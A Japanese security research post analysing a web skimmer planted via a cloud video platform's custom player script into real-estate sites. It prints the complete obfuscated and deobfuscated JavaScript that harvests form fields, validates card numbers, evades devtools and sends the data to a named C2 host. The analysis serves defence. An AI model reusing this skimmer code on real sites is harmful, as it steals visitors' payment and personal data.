This post is also available in: English (英語)
概要
サプライチェーンのネットワークは、頻繁にサイバー犯罪の標的にされています。その理由は、サプライチェーン内の「弱いリンク」をコントロールすることで、より多くの被害者にアクセスできるようになるからです。とくにその弱いリンクがサプライチェーンをソースとしていればさらに効果的です。最近私たちは、クラウドビデオプラットフォームを利用して「スキマー(別名フォームジャッキング)」キャンペーンを展開するサプライチェーン攻撃を確認しました。スキマー攻撃では、サイバー犯罪者が悪意のあるJavaScriptコードを挿入してWebサイトをハッキングし、そのサイトのHTMLフォームページの機能を乗っ取って、ユーザーの機微情報を収集します。今回の攻撃の場合、攻撃者はビデオにスキマー用JavaScriptコードを挿入しているため、他の人がビデオを取り込むと、その人のWebサイトにもスキマーコードが埋め込まれてしまいます。
パロアルトネットワークスのプロアクティブな監視・検知サービスは、同一のスキマー攻撃で侵害された100件以上の不動産サイトを検出しました。スキマー攻撃は、以前のブログ「詳説 フォームジャッキング攻撃 処理の流れとテクニック」と「Webスキマーに関する詳細な考察」の公開以降、攻撃者の間で人気が高まっています。特定したサイトを分析した結果、すべての侵害サイトが1つの親会社に属していることがわかりました。これらの侵害サイトはすべて、あるクラウドビデオプラットフォームから同一ビデオ(悪意のあるスクリプトを含む)を取り込んでいました。
弊社は当該クラウドビデオプラットフォームと不動産会社と協力して、ビデオの公開前にマルウェアを除去する支援をしました。本稿は、サプライチェーン攻撃により、知らぬ間に正規Webサイトが感染してしまう可能性があることを、組織やWebユーザーの皆さんに警告することを目的としています。以下、スキマー攻撃の展開方法、被害者の機微情報を窃取する方法を順を追って説明します。
パロアルトネットワークスのお客様は、次世代ファイアウォールのWildFire、URL Filteringサブスクリプションサービスによりこの種の攻撃から保護されています。
本稿で扱う攻撃の種別と脆弱性の種別 | Skimmer attacks, formjacking |
Unit 42 の関連タグ | Information stealing |
目次
スキマー検出
スキマーコード解析
ビデオに含まれる悪意のあるコード
結論
IoC
スキマー検出
私たちは、自社のプロアクティブな監視・検知サービスを使い、今回取り上げたスキマー攻撃によって侵害されたWebサイトを捕捉しました。捕捉されたWebサイトは以下のIoC(Indicator of compromise、侵害指標)セクションに記載します。
ここではあるWebサイトを例にとります(図1参照)。このフォームは、訪問者が売家に関する詳細情報を要求するためのもので、ユーザーの個人情報の提供を求めるフィールドが含まれています。
このページにアクセスすると弊社の検知サービスがiframeのURLにあるスキマー攻撃を検知します。
スキマーコード解析
このスキマーがどのように動作するかを理解するため、サンプルコードを深く掘り下げてみましょう。まずは侵害サイトから抽出したJavaScriptのコードを見てみます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
var u=["VHJ5U2VuZA==","SU1H","R2V0SW1hZ2VVcmw=","P3JlZmY9","b25yZWFkeXN0YXRlY2hhbmdl","cmVhZHlTdGF0ZQ==","Y29tcGxldGU=","c2V0SW50ZXJ2YWw=","cmVwbGFjZQ==","dGVzdA==","bGVuZ3Ro","Y2hhckF0","aXNPcGVu","b3JpZW50YXRpb24=","ZGlzcGF0Y2hFdmVudA==","b3V0ZXJXaWR0aA==","aW5uZXJXaWR0aA==","b3V0ZXJIZWlnaHQ=","aW5uZXJIZWlnaHQ=","dmVydGljYWw=","aG9yaXpvbnRhbA==","RmlyZWJ1Zw==","Y2hyb21l","aXNJbml0aWFsaXplZA==","dW5kZWZpbmVk","ZXhwb3J0cw==","ZGV2dG9vbHM=","aGFzaENvZGU=","Y2hhckNvZGVBdA==","R2F0ZQ==","RGF0YQ==","U2F2ZVBhcmFt","U2F2ZUFsbEZpZWxkcw==","aW5wdXQ=","c2VsZWN0","dGV4dGFyZWE=","U2VuZERhdGE="]; (function(e,t){var r=function(t){while(--t){e["push"](e["shift"]())}};r(++t)})(u,230); var l=function(t,r){t=t-0;var i=u[t]; if(l["HwWGHQ"]===undefined){(function(){var t=function(){var t;try{t=Function("return (function() "+'{}.constructor("return this")( )'+"); ")()}catch(r){t=e}return t}; var r=t(); var i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; r["atob"]||(r["atob"]=function(e){var t=String(e)["replace"](/=+$/,""); for(var r=0,n,a,s=0,o=""; a=t["charAt"](s++); ~a&&(n=r%4?n*64+a:a,r++%4)?o+=String["fromCharCode"](255&n>>(-2*r&6)):0){a=i["indexOf"](a)}return o})})(); l["lGbxnk"]=function(e){var t=atob(e); var r=[]; for(var i=0,n=t["length"]; i<n;i++){r+="%"+("00"+t["charCodeAt"](i)["toString"](16))["slice"](-2)}return decodeURIComponent(r)}; l["giOUOg"]={}; l["HwWGHQ"]=!![]}var n=l["giOUOg"][t]; if(n===undefined){i=l["lGbxnk"](i); l["giOUOg"][t]=i}else{i=n}return i}; function c(e,t,r){return e[l("0x0")](new RegExp(t,"g"),r)}function d(e){var t=/^(?:4[0-9]{12}(?:[0-9]{3})?)$/; var r=/^(?:5[1-5][0-9]{14})$/; var i=/^(?:3[47][0-9]{13})$/; var n=/^(?:6(?:011|5[0-9][0-9])[0-9]{12})$/; var a=![]; if(t["test"](e)){a=!![]}else if(r[l("0x1")](e)){a=!![]}else if(i[l("0x1")](e)){a=!![]}else if(n[l("0x1")](e)){a=!![]}return a}function f(e){if(/[^0-9-\s]+/["test"](e))return![]; var t=0,r=0,i=![]; e=e[l("0x0")](/\D/g,""); for(var n=e[l("0x2")]-1; n>=0; n--){var a=e[l("0x3")](n),r=parseInt(a,10); if(i){if((r*=2)>9)r-=9}t+=r; i=!i}return t%10==0}(function(){"use strict"; const t={}; t[l("0x4")]=![]; t[l("0x5")]=undefined;const r=160; const i=(t,r)=>{e[l("0x6")](new CustomEvent("devtoolschange",{detail:{isOpen:t,orientation:r}}))}; setInterval(()=>{const n=e[l("0x7")]-e[l("0x8")]>r; const a=e[l("0x9")]-e[l("0xa")]>r; const s=n?l("0xb"):l("0xc"); if(!(a&&n)&&(e[l("0xd")]&&e["Firebug"][l("0xe")]&&e[l("0xd")]["chrome"][l("0xf")]||n||a)){if(!t["isOpen"]||t[l("0x5")]!==s){i(!![],s)}t["isOpen"]=!![]; t["orientation"]=s}else{if(t[l("0x4")]){i(![],undefined)}t["isOpen"]=![]; t[l("0x5")]=undefined}},500); if(typeof module!==l("0x10")&&module[l("0x11")]){module[l("0x11")]=t}else{e[l("0x12")]=t}})(); String["prototype"][l("0x13")]=function(){var e=0,t,r; if(this[l("0x2")]===0)return e; for(t=0;t<this[l("0x2")]; t++){r=this[l("0x14")](t); e=(e<<5)-e+r; e|=0}return e}; var h={}; h[l("0x15")]="https://cdn-imgcloud[.]com/img"; h[l("0x16")]={}; h["Sent"]=[]; h["IsValid"]=![]; h[l("0x17")]=function(e){if(e.id!==undefined&&e.id!=""&&e.id!==null&&e.value.length<256&&e.value.length>0){if(f(c(c(e.value,"-","")," ",""))&&d(c(c(e.value,"-","")," ","")))h.IsValid=!![]; h.Data[e.id]=e.value; return}if(e.name!==undefined&&e.name!=""&&e.name!==null&&e.value.length<256&&e.value.length>0){if(f(c(c(e.value,"-","")," ",""))&&d(c(c(e.value,"-","")," ","")))h.IsValid=!![]; h.Data[e.name]=e.value;return}}; h[l("0x18")]=function(){var e=t.getElementsByTagName(l("0x19")); var r=t.getElementsByTagName(l("0x1a")); var i=t.getElementsByTagName(l("0x1b")); for(var n=0; n<e.length;n++)h.SaveParam(e[n]); for(var n=0; n<r.length;n++)h.SaveParam(r[n]); for(var n=0; n<i.length;n++)h.SaveParam(i[n])}; h[l("0x1c")]=function(){if(!e.devtools.isOpen&&h.IsValid){h.Data["Domain"]=location.hostname; var t=encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r=t.hashCode(); for(var i=0; i<h.Sent.length;i++)if(h.Sent[i]==r)return;h.LoadImage(t)}}; h[l("0x1d")]=function(){h.SaveAllFields(); h.SendData()}; h["LoadImage"]=function(e){h.Sent.push(e.hashCode()); var r=t.createElement(l("0x1e")); r.src=h.GetImageUrl(e)}; h[l("0x1f")]=function(e){return h.Gate+l("0x20")+e}; t[l("0x21")]=function(){if(t[l("0x22")]===l("0x23")){e[l("0x24")](h[l("0x1d")],500)}}; |
高度に難読化されているため、このコードからはこの攻撃が何をしようとしているのかがほとんどわかりません。これを整形して4つのパートに分け、理解しやすくします。
スキマーコード パート1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
var u = ["VHJ5U2VuZA==", "SU1H", "R2V0SW1hZ2VVcmw=", "P3JlZmY9", "b25yZWFkeXN0YXRlY2hhbmdl", "cmVhZHlTdGF0ZQ==", "Y29tcGxldGU=", "c2V0SW50ZXJ2YWw=", "cmVwbGFjZQ==", "dGVzdA==", "bGVuZ3Ro", "Y2hhckF0", "aXNPcGVu", "b3JpZW50YXRpb24=", "ZGlzcGF0Y2hFdmVudA==", "b3V0ZXJXaWR0aA==", "aW5uZXJXaWR0aA==", "b3V0ZXJIZWlnaHQ=", "aW5uZXJIZWlnaHQ=", "dmVydGljYWw=", "aG9yaXpvbnRhbA==", "RmlyZWJ1Zw==", "Y2hyb21l", "aXNJbml0aWFsaXplZA==", "dW5kZWZpbmVk", "ZXhwb3J0cw==", "ZGV2dG9vbHM=", "aGFzaENvZGU=", "Y2hhckNvZGVBdA==", "R2F0ZQ==", "RGF0YQ==", "U2F2ZVBhcmFt", "U2F2ZUFsbEZpZWxkcw==", "aW5wdXQ=", "c2VsZWN0", "dGV4dGFyZWE=", "U2VuZERhdGE="]; (function(e, t) { var r = function(t) { while (--t) { e["push"](e["shift"]()) } }; r(++t) })(u, 230); var l = function(t, r) { t = t - 0; var i = u[t]; if (l["HwWGHQ"] === undefined) { (function() { var t = function() { var t; try { t = Function("return (function() " + '{}.constructor("return this")( )' + ");")() } catch (r) { t = e } return t }; var r = t(); var i = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; r["atob"] || (r["atob"] = function(e) { var t = String(e)["replace"](/=+$/, ""); for (var r = 0, n, a, s = 0, o = ""; a = t["charAt"](s++); ~a && (n = r % 4 ?n * 64 + a : a, r++ % 4) ?o += String["fromCharCode"](255 & n >> (-2 * r & 6)) : 0) { a = i["indexOf"](a) } return o }) })(); l["lGbxnk"] = function(e) { var t = atob(e); var r = []; for (var i = 0, n = t["length"]; i < n; i++) { r += "%" + ("00" + t["charCodeAt"](i)["toString"](16))["slice"](-2) } return decodeURIComponent(r) }; l["giOUOg"] = {}; l["HwWGHQ"] = !![] } var n = l["giOUOg"][t]; if (n === undefined) { i = l["lGbxnk"](i); l["giOUOg"][t] = i } else { i = n } return i }; |
パート1のコードは、文字列の配列 u の復号に使用されるもので、復号関数は l です。
復号すると、以下の平文の配列を得られます。たとえば l(0x1)は文字列「test」です。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
0 "replace" 1 "test" 2 "length" 3 "charAt" 4 "isOpen" 5 "orientation" 6 "dispatchEvent" 7 "outerWidth" 8 "innerWidth" 9 "outerHeight" 10 "innerHeight" 11 "vertical" 12 "horizontal" 13 "Firebug" 14 "chrome" 15 "isInitialized" 16 "undefined" 17 "exports" 18 "devtools" 19 "hashCode" 20 "charCodeAt" 21 "Gate" 22 "Data" 23 "SaveParam" 24 "SaveAllFields" 25 "input" 26 "select" 27 "textarea" 28 "SendData" 29 "TrySend" 30 "IMG" 31 "GetImageUrl" 32 "?reff=" 33 "onreadystatechange" 34 "readyState" 35 "complete" 36 "setInterval" |
スキマーコード パート2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
function c(e, t, r) { return e[l("0x0")](new RegExp(t, "g"), r) } function d(e) { var t = /^(?:4[0-9]{12}(?:[0-9]{3})?)$/; var r = /^(?:5[1-5][0-9]{14})$/; var i = /^(?:3[47][0-9]{13})$/; var n = /^(?:6(?:011|5[0-9][0-9])[0-9]{12})$/; var a = ![]; if (t["test"](e)) { a = !![] } else if (r[l("0x1")](e)) { a = !![] } else if (i[l("0x1")](e)) { a = !![] } else if (n[l("0x1")](e)) { a = !![] } return a } function f(e) { if (/[^0-9-\s]+/ ["test"](e)) return ![]; var t = 0, r = 0, i = ![]; e = e[l("0x0")](/\D/g, ""); for (var n = e[l("0x2")] - 1; n >= 0; n--) { var a = e[l("0x3")](n), r = parseInt(a, 10); if (i) { if ((r *= 2) > 9) r -= 9 } t += r; i = !i } return t % 10 == 0 } |
パート2では関数を3つ定義しています。
- 関数cは、文字列を正規表現パターンで置き換えるために使用されます。
- 関数dは、文字列がクレジットカードのパターンに一致するかどうかを検証するために使用されます。これは4つの正規表現パターンを使用していることがわかります。
- 関数fは、クレジットカードの番号をLuhnアルゴリズムで検証するために使用されます。
スキマーコード パート3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
(function() { "use strict"; const t = {}; t[l("0x4")] = ![]; t[l("0x5")] = undefined; const r = 160; const i = (t, r) => { e[l("0x6")](new CustomEvent("devtoolschange", { detail: { isOpen: t, orientation: r } })) }; setInterval(() => { const n = e[l("0x7")] - e[l("0x8")] > r; const a = e[l("0x9")] - e[l("0xa")] > r; const s = n ?l("0xb") : l("0xc"); if (!(a && n) && (e[l("0xd")] && e["Firebug"][l("0xe")] && e[l("0xd")]["chrome"][l("0xf")] || n || a)) { if (!t["isOpen"] || t[l("0x5")] !== s) { i(!![], s) } t["isOpen"] = !![]; t["orientation"] = s } else { if (t[l("0x4")]) { i(![], undefined) } t["isOpen"] = ![]; t[l("0x5")] = undefined } }, 500); if (typeof module !== l("0x10") && module[l("0x11")]) { module[l("0x11")] = t } else { e[l("0x12")] = t } })(); |
パート3は、アンチデバッグコードです。復号すると以下のようになります。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
var e = { open: !1, orientation: null }; n = 160, o = function(e, n) { window.dispatchEvent(new CustomEvent("devtoolschange", { detail: { open: e, orientation: n } })) }; setInterval(function() { var t = window.outerWidth - window.innerWidth > n, i = window.outerHeight - window.innerHeight > n, d = t ?"vertical" : "horizontal"; i && t || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || t || i) ?(e.open && o(!1, null), e.open = !1, e.orientation = null) : (e.open && e.orientation === d || o(!0, d), e.open = !0, e.orientation = d) }, 500) "undefined" != typeof module && module.exports ?module.exports = e : window.devtools = e |
基本的には、window.Firebug、window.Firebug.chrome、window.Firebug.chrome.isInitializedの各変数が存在するかどうかをチェックします。また、devtoolschangeメッセージを送信し、Chromeコンソールが開かれているかどうかをチェックします。
スキマーコード パート4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 |
String["prototype"][l("0x13")] = function() { String["prototype"][l("0x13")] = function() { var e = 0, t, r; if (this[l("0x2")] === 0) return e; for (t = 0; t < this[l("0x2")]; t++) { r = this[l("0x14")](t); e = (e << 5) - e + r; e |= 0 } return e }; var h = {}; h[l("0x15")] = "https://cdn-imgcloud[.]com/img"; h[l("0x16")] = {}; h["Sent"] = []; h["IsValid"] = ![]; h[l("0x17")] = function(e) { if (e.id !== undefined && e.id != "" && e.id !== null && e.value.length < 256 && e.value.length > 0) { if (f(c(c(e.value, "-", ""), " ", "")) && d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !![]; h.Data[e.id] = e.value; return } if (e.name !== undefined && e.name != "" && e.name !== null && e.value.length < 256 && e.value.length > 0) { if (f(c(c(e.value, "-", ""), " ", "")) && d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !![]; h.Data[e.name] = e.value; return } }; h[l("0x18")] = function() { var e = t.getElementsByTagName(l("0x19")); var r = t.getElementsByTagName(l("0x1a")); var i = t.getElementsByTagName(l("0x1b")); for (var n = 0; n < e.length; n++) h.SaveParam(e[n]); for (var n = 0; n < r.length; n++) h.SaveParam(r[n]); for (var n = 0; n < i.length; n++) h.SaveParam(i[n]) }; h[l("0x1c")] = function() { if (!e.devtools.isOpen && h.IsValid) { h.Data["Domain"] = location.hostname; var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r = t.hashCode(); for (var i = 0; i < h.Sent.length; i++) if (h.Sent[i] == r) return; h.LoadImage(t) } }; h[l("0x1d")] = function() { h.SaveAllFields(); h.SendData() }; h["LoadImage"] = function(e) { h.Sent.push(e.hashCode()); var r = t.createElement(l("0x1e")); r.src = h.GetImageUrl(e) }; h[l("0x1f")] = function(e) { return h.Gate + l("0x20") + e }; t[l("0x21")] = function() { if (t[l("0x22")] === l("0x23")) { e[l("0x24")](h[l("0x1d")], 500) } }; |
復号後のコードサンプルは非常にわかりやすいものです。これらのコードスニペットが何をするのか見てみましょう。
以下のコードは、クレジットカードコンテンツの暗号化に使用されるhashCode関数を定義しています。
コード解析
1 2 3 4 5 6 7 8 9 10 11 12 13 |
// l["0x13"] == "hashCode", so // l["0x13"] == "hashCode" String["prototype"]["0x13"] = function() { var e = 0, t, r; if (this[l("0x2")] === 0) return e; for (t = 0; t < this[l("0x2")]; t++) { r = this[l("0x14")](t); e = (e << 5) - e + r; e |= 0 } return e }; |
以下のコードでは、変数Gateと変数Dataを定義しています。変数Dataにはクレジットカード情報が、変数GateにはC2サーバーが保存されています。
1 2 3 4 5 |
var h = {}; h[l("0x15")] = "https://cdn-imgcloud[.]com/img"; //l("0x15") is "Gate" string h[l("0x16")] = {}; // l("0x16") is string "Data" h["Sent"] = []; h["IsValid"] = ![]; |
以下のコードサンプルからはスキマーがどのようにクレジットカード情報を窃取・送信しているかが明らかになります。ここではそのプロセスを以下のステップに分けました。
1. まず onreadystatechangeを使って、ページの読み込みが完了したかどうかを確認します。その後、TrySend関数を呼び出します。
2. TrySend関数は、SaveAllFields関数を呼び出して、HTMLドキュメントから名前やメールアドレスなどの顧客による入力情報を読み取り、SaveParamを呼び出して、そのデータが有効かどうかをチェックします。有効であれば、この情報をData変数に保存します。
3. 次にTrySend関数はSendData関数を呼び出してデータを送信します。SendData関数はLoadImage関数を呼び出して<img>HTMLタグを作成し、この画像のsrcとしてC2のURLを設定します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
//l("0x17") is string "SaveParam" h["SaveParam"]: function(elem) { if (e.id !== undefined && e.id != "" && e.id !== null && e.value.length < 256 && e.value.length > 0) { if (f(c(c(e.value, "-", ""), " ", "")) && d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !![]; h.Data[e.id] = e.value; return } if (e.name !== undefined && e.name != "" && e.name !== null && e.value.length < 256 && e.value.length > 0) { if (f(c(c(e.value, "-", ""), " ", "")) && d(c(c(e.value, "-", ""), " ", ""))) h.IsValid = !![]; h.Data[e.name] = e.value; return } } // l("0x18") is string "SaveAllFields" h["SaveAllFields"]: function() { var inputs = document.getElementsByTagName("input"); var selects = document.getElementsByTagName("select"); var textareas = document.getElementsByTagName("textarea"); for(var i = 0; i < inputs.length; i++) h.SaveParam(inputs[i]); for(var i = 0; i < selects.length; i++) h.SaveParam(selects[i]); for(var i = 0; i < textareas.length; i++) h.SaveParam(textareas[i]); } // l("0x1c") is string "SendData" h["SendData"]: function() { if (!e.devtools.isOpen && h.IsValid) { h.Data["Domain"] = location.hostname; var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r = t.hashCode(); for (var i = 0; i < h.Sent.length; i++) if (h.Sent[i] == r) return; h.LoadImage(t) } }, // l("0x1d") is string "TrySend" h["TrySend"] = function() { h.SaveAllFields(); h.SendData() }; h["LoadImage"] = function(e) { h.Sent.push(e.hashCode()); var r = t.createElement(l("0x1e")); // l("0x1e") is string "IMG" r.src = h.GetImageUrl(e) }; // l("0x1f") is string "GetImageUrl" h["GetImageUrl"] = function(e) { return h.Gate + l("0x20") + e }; // l("0x21") is string "onreadystatechange " t["onreadystatechange"] = function() { //if(document.readyState === 'complete') if (t[l("0x22")] === l("0x23")) { e[l("0x24")](h[l("0x1d")], 500) // call setInterval(TrySend, 500); } }; |
ビデオに含まれる悪意のあるコード
次は、攻撃者がどのような方法でクラウドビデオプラットフォームのプレイヤーに悪意のあるコードを挿入するのかを見てみます。このクラウドプラットフォームでは、JavaScriptファイルをアップロードすることにより、ユーザーがカスタマイズしたプレイヤーを作成できるようにしています。このケースの場合、ユーザーが、上流で悪意のあるコンテンツを含められるようなスクリプトをアップロードしていました。
私たちは、ホストされている場所にある静的なスクリプトをこの攻撃者が変更してスキマーコードを添付したと推測しています。その次のプレイヤー更新時に、このビデオプラットフォームは、侵害されたファイルを再び取り込み、影響を受けたプレイヤーとともに提供しました。
コード解析から、スキマー用のスニペットは、被害者の氏名、電子メール、電話番号などの機微情報を収集し、VirusTotalでも悪意があるとマークされている収集サーバー(https://cdn-imgcloud[.]com/img)に送信しようとしていることがわかります。
結論
今回のスキマーキャンペーンでは、悪意あるアクティビティを、スキマースクリプトからソースであるクラウドビデオプラットフォームまで追跡しました。またスキマーキャンペーンで収集したコードスニペットについても深く掘り下げました。
スキマーは非常に変化が早く、捕捉が難しく、絶えず進化しています。クラウド配信プラットフォームと組み合わせれば、この種のスキマーによる影響は甚大です。そのため今回のような攻撃は、「巧妙な戦略を解き明かして根本原因を突き止めることができるか」という難しい挑戦をセキュリティリサーチャーに突きつけることになります。スキマーが使用するドメイン名やURLをブロックするだけでは効果がないことから、この種のスキマーキャンペーンの検知にはより洗練された戦略立案が必要です。
Webサイトの管理者には、あらゆるアカウントの保護、フィッシングやソーシャルエンジニアリングによる窃取の防止、パーミッションの適切な管理が望まれます。またWebコンテンツの整合性チェックを定期的に行うことも強く推奨されます。これにより、Webサイトコンテンツへの悪意のあるコード挿入を検知・防止できます。
パロアルトネットワークスのお客様は、次世代ファイアウォールのWildFireおよびURL Filteringサブスクリプションサービスにより、スキマー(別名フォームジャッキング)攻撃から保護されます。
IoC
本稿で取り上げたWebスキマー攻撃のIoCは、こちらのGitHubで確認できます。